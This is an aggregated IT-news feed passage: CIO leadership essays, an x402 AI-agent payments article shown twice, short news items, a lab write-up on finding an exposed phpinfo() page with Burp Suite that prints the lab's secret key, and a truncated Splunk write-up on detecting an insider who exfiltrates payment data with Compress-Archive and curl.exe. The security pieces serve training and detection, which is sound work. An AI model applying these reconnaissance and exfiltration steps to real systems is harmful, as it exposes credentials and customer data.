<p class="wp-block-paragraph">In my advisory work, I sit with C-suite leaders who share values and still cannot find alignment. The barrier is rarely disagreement. It is that they are not communicating clearly or often enough to build the trust that alignment requires. I have watched negotiations that could only happen by proxy, over email, because two capable leaders had stopped talking directly.</p>



<p class="wp-block-paragraph">I recently sat in an hour-long discussion where alignment and shared values were present the whole time. It did not become clear until the final fifteen minutes. That is what real alignment costs: patience, persistence and a stubborn commitment to clarity. If leaders cannot do that work themselves, no AI model or governance tool will do it for them.</p>



<p class="wp-block-paragraph">This is why I stand up an AI review board for the organizations I work with and host the leadership conversations that decide whether a company’s AI ambitions thrive or stall. The board itself matters less than what it provides: neutral ground, a regular cadence and an agenda that forces the hard issues into the open before a crisis forces them. If your organization has no venue like that, that absence is its own form of dysfunction. The cadence is what makes communication effective. Not easy. Effective.</p>



<h2 class="wp-block-heading">Build the bond on purpose</h2>



<p class="wp-block-paragraph">You cannot framework your way to trust. But you can build it deliberately, and that is a leadership act, not a governance one. The partnership and stakeholdering skills that once looked like soft extras are now the core executive work. A few moves matter most:</p>



<ul class="wp-block-list">
<li>Set a standing contact rhythm with your counterpart before you need one, daily or near-daily, not quarterly</li>



<li>Make decision rights and accountability explicit while it is calm, so no one improvises them mid-incident</li>



<li>Translate security into business outcomes together, so the board hears one aligned voice</li>
</ul>



<p class="wp-block-paragraph">Build the relationship as deliberately as you would build any critical control, because that is what it is. If you cannot connect the partnership to outcomes the business actually feels, you have a friendship, not a performance lever.</p>



<p class="wp-block-paragraph">A year after writing “The CISO On the Razor’s Edge,” I am even more convinced that strong leadership precedes effective governance and partnership precedes them both. This is the good news, not the hard news. The CIO and CISO who build real trust do not just reduce risk. They move faster than their competitors, because they spend no energy fighting each other. They earn the board’s confidence, because the board hears one clear voice. And they unlock the AI strategy everyone else is still struggling to govern, because they have already done the human work that makes governance hold.</p>



<p class="wp-block-paragraph">That is the upside waiting on the other side of this relationship. AI will keep advancing. Governance will keep maturing. But the organizations that win the next decade will be the ones where two leaders decided the partnership was worth building before they needed it. Bill and Ralph knew it every day, weekends included. The edge is there for anyone willing to do the same.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Elon Musk: Tesla-Privatanleger wollen endlich Antworten]]></title>
<description><![CDATA[Vor dem Call zu den neuen Quartalszahlen reichen Tesla-Anleger unangenehme Fragen für Elon Musk ein. Interessant ist, von wem die Fragen kommen. (Tesla, Elektroauto)]]></description>
<link>https://tsecurity.de/de/3675906/it-nachrichten/elon-musk-tesla-privatanleger-wollen-endlich-antworten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675906/it-nachrichten/elon-musk-tesla-privatanleger-wollen-endlich-antworten/</guid>
<pubDate>Fri, 17 Jul 2026 13:32:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vor dem Call zu den neuen Quartalszahlen reichen Tesla-Anleger unangenehme Fragen für Elon Musk ein. Interessant ist, von wem die Fragen kommen. (<a href="https://www.golem.de/specials/tesla/">Tesla</a>, <a href="https://www.golem.de/specials/elektroauto/">Elektroauto</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211002&amp;page=1&amp;ts=1784287321" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[One RAG Pipeline, Four Very Different PDFs: Same Four Bricks, Every Answer Typed and Cited]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #9B] - One call wires the four upgraded bricks together, run on a paper, a NIST standard, and a report with a broken TOC
The post One RAG Pipeline, Four Very Different PDFs: Same Four Bricks, Every Answer Typed and Cited appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3675757/ai-nachrichten/one-rag-pipeline-four-very-different-pdfs-same-four-bricks-every-answer-typed-and-cited/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675757/ai-nachrichten/one-rag-pipeline-four-very-different-pdfs-same-four-bricks-every-answer-typed-and-cited/</guid>
<pubDate>Fri, 17 Jul 2026 12:34:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #9B] - One call wires the four upgraded bricks together, run on a paper, a NIST standard, and a report with a broken TOC</p>
<p>The post <a href="https://towardsdatascience.com/one-rag-pipeline-four-very-different-pdfs-same-four-bricks-every-answer-typed-and-cited/">One RAG Pipeline, Four Very Different PDFs: Same Four Bricks, Every Answer Typed and Cited</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[Google DeepMind boss Demis Hassabis issues call to action on AI safety standards]]></title>
<description><![CDATA[The DeepMind co-founder has called for stronger safeguards to tackle AI risks]]></description>
<link>https://tsecurity.de/de/3675719/it-security-nachrichten/google-deepmind-boss-demis-hassabis-issues-call-to-action-on-ai-safety-standards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675719/it-security-nachrichten/google-deepmind-boss-demis-hassabis-issues-call-to-action-on-ai-safety-standards/</guid>
<pubDate>Fri, 17 Jul 2026 12:20:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The DeepMind co-founder has called for stronger safeguards to tackle AI risks]]></content:encoded>
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<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4198170/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[EBA: Geänderte Leitlinien zu IKT- & Sicherheitsrisiken nach DORA - KPMG International]]></title>
<description><![CDATA[Partnerin, Financial Services, Solution Lead IT Compliance & Cyber Security. KPMG AG Wirtschaftsprüfungsgesellschaft. mail; call · Jens ...]]></description>
<link>https://tsecurity.de/de/3675529/it-security-nachrichten/eba-geaenderte-leitlinien-zu-ikt-sicherheitsrisiken-nach-dora-kpmg-international/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675529/it-security-nachrichten/eba-geaenderte-leitlinien-zu-ikt-sicherheitsrisiken-nach-dora-kpmg-international/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Partnerin, Financial Services, Solution Lead IT Compliance &amp; <b>Cyber Security</b>. KPMG AG Wirtschaftsprüfungsgesellschaft. mail; call · Jens ...]]></content:encoded>
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<title><![CDATA[Lab 2 : Information Disclosure on a Debug Page]]></title>
<description><![CDATA[The VulnerabilityDebug pages are a common byproduct of development. Tools like phpinfo() are incredibly useful while building and troubleshooting an application, since they dump detailed information about the server environment: PHP configuration, loaded modules, environment variables, file paths...]]></description>
<link>https://tsecurity.de/de/3675352/hacking/lab-2-information-disclosure-on-a-debug-page/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675352/hacking/lab-2-information-disclosure-on-a-debug-page/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>The Vulnerability</h3><p>Debug pages are a common byproduct of development. Tools like phpinfo() are incredibly useful while building and troubleshooting an application, since they dump detailed information about the server environment: PHP configuration, loaded modules, environment variables, file paths, and more.</p><p>The problem is that this same information is a goldmine for an attacker if the page is ever left accessible in production. Environment variables in particular often hold:</p><ul><li>API keys and secrets</li><li>Database credentials</li><li>Session signing keys (like SECRET_KEY)</li><li>Internal service URLs</li></ul><h3>Step-by-Step Solution</h3><h3>1. Browse the application with Burp running</h3><p>With Burp Suite intercepting traffic, I loaded the lab’s home page as a normal user would. This populates Burp’s site map with the page and its underlying requests.</p><h3>2. Search for clues in HTML comments</h3><p>Rather than guessing at hidden paths, I used Burp’s built-in comment finder. In <strong>Target &gt; Site Map</strong>, I right-clicked the top-level entry for the lab and selected <strong>Engagement tools &gt; Find comments</strong>.</p><p>This surfaced an HTML comment on the home page referencing a link labeled “Debug,” pointing to:</p><pre>/cgi-bin/phpinfo.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsXjEDebrrxUk6tWbqsgZw.png"></figure><h3>3. Send the debug page to Repeater</h3><p>In the site map, I right-clicked the /cgi-bin/phpinfo.php entry and selected <strong>Send to Repeater</strong> to inspect the response more closely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tyi8cr4GBJ8Nanc0_hwyvQ.png"></figure><h3>4. Retrieve the debug output</h3><p>Sending the request in Repeater returned the full output of a phpinfo() call. This page is normally used to help developers verify their PHP configuration, but here it exposed the server's environment variables in full — including:</p><pre>SECRET_KEY = zz296qa73qpb5t6k6yddcb5pj0fxr387</pre><p>No authentication, no obfuscation — the value was returned directly in the HTTP response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7r9Tsfy3wILx5EbUfIr67Q.png"></figure><h3>5. Submit the solution</h3><p>I copied the SECRET_KEY value, returned to the lab, clicked <strong>Submit solution</strong>, and entered it. The lab was marked as solved.gets exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9llcUgaLJTNEcZn_y5iew.png"></figure><p>Written by Zeyad Naguib,<br>🔗 <a href="https://www.linkedin.com/in/zeyadnageeb">https://www.linkedin.com/in/zeyadnageeb</a><br>✍️ <a href="https://medium.com/@zeyadnaguib1">https://medium.com/@zeyadnaguib1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5c0295cfbc12" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lab-2-information-disclosure-on-a-debug-page-5c0295cfbc12">Lab 2 : Information Disclosure on a Debug Page</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination 